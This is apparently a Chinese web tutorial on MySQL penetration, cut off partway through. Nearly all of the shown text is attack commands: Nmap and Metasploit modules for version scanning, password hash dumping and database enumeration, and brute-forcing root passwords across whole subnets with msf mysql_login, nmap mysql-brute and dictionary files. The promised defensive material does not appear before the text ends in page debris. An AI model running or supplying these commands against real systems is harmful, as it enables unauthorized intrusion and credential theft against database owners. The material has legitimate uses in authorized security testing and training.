教你一些MySQL数据库入侵及防御方法数据库

来源:互联网 / 作者:SKY / 2018-06-21 18:02 / 点击:
在研究 MySQL 数据库安全之余,我们也对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。

技术沙龙 | 6月30日与多位专家探讨技术高速发展下如何应对运维新挑战!

教你一些MySQL数据库入侵及防御方法

在针对网站渗透中,很多都是跟 MySQL 数据库有关,各种 MySQL 注入、MySQL 提权、MySQL 数据库 Root 账号 webshell 获取等,但没有一个对 MySQL 数据库渗透较为全面的总结。

针对这种情况我们开展了研究,但技术的进步永无止境,思想有多远,路就可以走多远,在研究 MySQL 数据库安全之余,我们也对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。

一、MySQL 信息收集

1、端口信息收集

MySQL 默认端口是 3306 端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

iisputter,直接填写 3306 端口,IP 地址填写单个或者 C 段地址;

Nmap 扫描 Nmap -p 3306 192.168.1.1-254。

特定目标的渗透,可能需要对全端口进行扫描,可以使用 Nmap 对某一个 IP 地址进行全端口扫描,端口扫描软件还有 sfind 等 DOS 下扫描的工具。

2、版本信息收集

msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模块

以扫描主机 192.168.157.130 为例,命令为:

use auxiliary/scanner/mysql/mysql_version  

set rhosts 192.168.157.130  

run 

MySQL 查询版本命令:

SELECT @@version、SELECT  version(); 

sqlmap 通过注入点扫描确认信息:

sqlmap.py -u url --dbms mysql 

phpmyadmin 管理页面登录后查看 localhost->变量->服务器变量和设置中的 version 参数值。

3、数据库管理信息收集

MySQL 管理工具有多种,例如 phpmyadmin 网站管理,Navicat for MySQL 以及 MySQL Front 等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

4、msf 信息收集模块

MySQL 哈希值枚举:

use auxiliary/scanner/mysql/mysql_hashdump  

set username root  

set password root  

run 

获取相关信息:

use auxiliary/admin/mysql/mysql_enum  

set username root  

set password root  

run 

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

执行 MySQL 语句,连接成功后可以在 msf 执行 SQL 语句,跟 sqlmap 的“--sql-shell”模块类似

use auxiliary/admin/mysql/mysql_sql 

将mysql_schem导出到本地/root/.msf4/loot/文件夹下

use auxiliary/scanner/mysql/mysql_schemadump 

文件枚举和目录可写信息枚举

auxiliary/scanner/mysql/mysql_file_enum  

auxiliary/scanner/mysql/mysql_writable_dirs 

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没什么用。

二、MySQL 密码获取

1、暴力破解

MySQL 暴力破解主要有几种:

网页在线连接破解:

可以使用 burpsuite 和 phpMyAdmin 多线程批量破解工具。

下载:

https://portswigger.net/burp/

msf 通过命令行进行暴力破解:

msf 破解 MySQL 密码模块 auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。

对单一主机仅仅需要设置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它参数根据实际情况进行设置。

场景A:对内网获取 Root 某个口令后,扩展渗透

use auxiliary/scanner/mysql/mysql_login  

set RHOSTS 192.168.157.1-254  

set password root  

set username root  

run 

执行后对 192.168.157.1-254 进行 MySQL 密码扫描验证。

场景B:使用密码字典进行扫描

use auxiliary/scanner/mysql/mysql_login  

set RHOSTS 192.168.157.1-254  

set pass_file /tmp/password.txt  

set username root  

run 

使用 nmap 扫描并破解密码:

对某一个 IP 或者 IP 地址段进行 nmap 默认密码暴力破解并扫描

nmap --script=mysql-brute 192.168.157.130  

nmap --script=mysql-brute 192.168.157.1-254 

使用 Root 账号 Root 密码进行 MySQL 密码验证并扫描获取指定 IP 地址的端口信息以及 MySQL 数据库相关信息

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 

检查 Root 空口令

nmap --script mysql-empty-password 192.168.195.130 

对 MySQL 口令进行扫描:

使用 hscan 工具对 MySQL 口令进行扫描,需要设置扫描 IP 地址段以及数据库口令字典及用户名字典。

2、源代码泄露

网站源代码备份文件:

阅读延展

1
3